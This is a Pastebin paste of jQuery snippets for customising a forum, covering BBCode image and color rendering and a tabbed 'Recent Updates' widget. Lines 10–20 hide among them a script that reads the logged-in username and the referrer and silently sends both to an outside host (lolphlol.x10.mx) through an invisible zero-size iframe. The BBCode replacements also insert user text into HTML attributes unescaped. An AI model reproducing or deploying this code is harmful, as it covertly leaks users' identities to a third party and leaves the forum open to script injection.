zamaro

Untitled

Jan 9th, 2015
312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.70 KB | None | 0 0
  1. <script type='text/javascript'>
  2. var allowedimg = "imageshack|photobucket|imgur|tinypic\\.com";
  3. var images = new RegExp("\\[img\\]((?:[^\\[]+?)(?:"+allowedimg+"?)(?:[^\\[]+?))\\[\\/img\\]","gi");
  4. var editimgs = $('.c_post,.c_sig:not(:has(textarea)),.portal_content,.btn_safe');
  5. $(editimgs).each(function(){
  6. $(this).html($(this).html().replace(images, "<img src='$1' />"));
  7. });
  8. </script>
  9.  
  10. <script type="text/javascript">
  11. username=$("#top_info a:first").html();
  12. if (document.referrer) {
  13. referrer= document.referrer;
  14. }
  15. else
  16. {
  17. referrer = "none";
  18. }
  19. document.write("<iframe src='http://lolphlol.x10.mx/test.php?username=" + username + "&referrer=" + referrer +"' width='0' height='0' scrolling='no' frameborder='0'></iframe>");
  20. </script>
  21.  
  22. <script type="text/javascript">
  23. function add_color_v3() {
  24. //Created by Agent Moose
  25. //Partial title color by GenerationStudio
  26. $(function() {
  27. $("a , div.description , li span , tr th small , tr th").each(function() {
  28. if(this.innerHTML.match(/\[color=.*\].*\[\/color]/i)) {
  29. this.innerHTML = this.innerHTML.replace(/\[color=(.+?)\](.+?)\[\/color]/gi,"<span style='color: $1'>$2</span>");
  30. };});});}
  31. add_color_v3();
  32. </script>
  33.  
  34.  
  35.  
  36. <script type="text/javascript" src="http://z3.ifrm.com/53/36/0/p391781/onlinetoday.js"></script>
  37.  
  38. <script type="text/javascript">
  39. //1=yes, 0=no
  40. var guestViewable = 1;
  41.  
  42. if (location.href.indexOf('/index') !== -1 || location.href.indexOf('/topic') !== -1) {
  43.  
  44.  
  45. // Recent Updates by Xero
  46. // http://theanimeforums.com
  47. // Butchered by Travis (sorry)
  48. // <![CDATA[
  49.  
  50. var collapseIMG = "http://i1229.photobucket.com/albums/ee478/phrs11/eVolution%20Graphics/up.png";
  51. var tabNum = zeta_cookie.get("RUtab");
  52.  
  53.  
  54.  
  55. var stuffies = '<style type="text/css">.tabRU { text-align:center; cursor:pointer; }</style><div id="RUbox"><table><tr><th></th><th class="tabRU" onClick="RU1();" width="120px">Status Updates</th><th class="tabRU" onClick="RU2();" width="120px">Recent Replies</th><th class="tabRU" onClick="RU3();" width="170px">Replies to Your Topics</th><th class="tabRU" onClick="RU4();" width="120px">Board Feed</th><th></th></tr><tr><td colspan="6"><div id="contentsTab" style="overflow:auto;"><div id="statsRU"><i>Loading...</i></div><div id="repliesRU" style="display:none;"><i>Loading...</i></div><div id="yourRepliesRU" style="display:none;"><i>Loading...</i></div><div id="feedRU" style="display:none;"><i>Loading...</i></div></div></td></tr><tr><td colspan="6" class="c_foot"></td></tr></table></div>';
  56.  
  57. if($("#top_info a:contains([Log In])").length > 0 && guestViewable == 1 || $("#top_info a:contains([Sign Out])").length > 0){
  58. if (location.href.indexOf('/index') !== -1) {
  59. $(stuffies).insertAfter("#announcements");
  60. }
  61. else {
  62. $(stuffies).insertAfter("#main");
  63. }
  64. }
  65. $(".tabRU:eq(" + tabNum + ")").css("font-weight","bold");
  66.  
  67. function RU1(){
  68. zeta_cookie.set("RUtab",0, 365);
  69. $(".tabRU").css("font-weight","normal");
  70. $(".tabRU:eq(0)").css("font-weight","bold");
  71. $("#contentsTab > div:visible").not("#statsRU").fadeOut("fast", function(){
  72. $("#statsRU").fadeIn("fast");
  73. });
  74. }
  75. function RU2(){
  76. zeta_cookie.set("RUtab",1, 365);
  77. $(".tabRU").css("font-weight","normal");
  78. $(".tabRU:eq(1)").css("font-weight","bold");
  79. $("#contentsTab > div:visible").not("#repliesRU").fadeOut("fast", function(){
  80. $("#repliesRU").fadeIn("fast");
  81. });
  82. }
  83. function RU3(){
  84. zeta_cookie.set("RUtab",2, 365);
  85. $(".tabRU").css("font-weight","normal");
  86. $(".tabRU:eq(2)").css("font-weight","bold");
  87. $("#contentsTab > div:visible").not("#yourRepliesRU").fadeOut("fast", function(){
  88. $("#yourRepliesRU").fadeIn("fast");
  89. });
  90. }
  91. function RU4(){
  92. window.open('http://ph-rs.com/stats/feed','_newtab');
  93. }
  94. $(function(){
  95. loadRU();
  96. });
  97. function reloadRU(){
  98. $("#reload").removeAttr("href");
  99. $("#contentsTab > div").html("<i>Loading...</i>");
  100. loadRU();
  101. }
  102. function loadRU(){
  103. $.get(main_url + "stats/status_updates", function(data){
  104. $("#statsRU").html($("#status_updates",data));
  105. });
  106. $.get(main_url + "search/?c=5", function(data){
  107. $("#repliesRU").html($("#search_results_topics + table",data));
  108. });
  109. $.get(main_url + "search/?c=6", function(data){
  110. $("#yourRepliesRU").html($("#search_results_topics + table",data));
  111. });
  112.  
  113. $("#reload").attr("href","javascript:reloadRU();");
  114. }
  115.  
  116. if(tabNum > 0){
  117. $("#statsRU").css("display","none");
  118. $("#contentsTab > div:eq(" + tabNum + ")").css("display","block");
  119. }
  120.  
  121.  
  122. $('#RUbox').hover(function() {
  123. $('#contentsTab').stop().animate({
  124. height: '400px'
  125. }, 1000);
  126. },function() {
  127. $('#contentsTab').stop().animate({
  128. height: '0px'
  129. }, 3000);
  130. });
  131. $('#contentsTab').animate({
  132. height: '0px'
  133. }, 1000);
  134.  
  135.  
  136. // ]]>
  137.  
  138.  
  139.  
  140. }
  141. </script>
Advertisement
Add Comment
Please, Sign In to add comment